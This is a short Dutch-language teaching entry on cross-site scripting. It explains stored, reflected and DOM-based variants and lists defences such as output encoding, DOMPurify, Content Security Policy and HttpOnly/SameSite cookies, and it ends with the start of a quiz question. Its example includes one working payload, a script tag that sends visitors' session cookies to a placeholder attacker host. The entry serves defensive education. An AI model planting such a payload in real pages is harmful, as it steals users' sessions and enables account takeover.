XSS-injectie (Cross-site scripting)
Wat is het?
XSS-injectie (Cross-site scripting) is een webveiligheidsprobleem waarbij een aanvaller kwaadaardige client-side scripts (meestal JavaScript) in een webpagina injecteert, die vervolgens door de browsers van andere gebruikers worden uitgevoerd. De aanval maakt misbruik van onveilige verwerking van gebruikersinvoer of gebrekkige ontsmetting/encoding van output. Gevolgen variëren van het stelen van sessiecookies en accountovername tot het tonen van misleidende inhoud of het verspreiden van malware.
Praktisch voorbeeld
Stel je een forum voor waar gebruikers reacties plaatsen zonder de HTML te ontsmetten. Een aanvaller plaatst een reactie met <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. Wanneer andere bezoekers die pagina openen, wordt het script in hun browser uitgevoerd en worden hun sessiegegevens naar de aanvaller gestuurd. Dit is een voorbeeld van stored XSS; er zijn ook reflected XSS-gevallen (waar de payload in een URL terugkomt in de response) en DOM-based XSS (waar de kwetsbaarheid in browser-side scriptlogica zit). Als ontwikkelaar kun je dit voorkomen met context-gerichte output-encoding, betrouwbare sanitizers (zoals DOMPurify), Content Security Policy en juiste cookie-instellingen (HttpOnly, SameSite).
Test je kennis
Welke van de volgende maatregelen is de beste primaire verdediging tegen opgeslagen (stored) XSS wanneer je gebruikersgegenereerde content op een pagina weergeeft?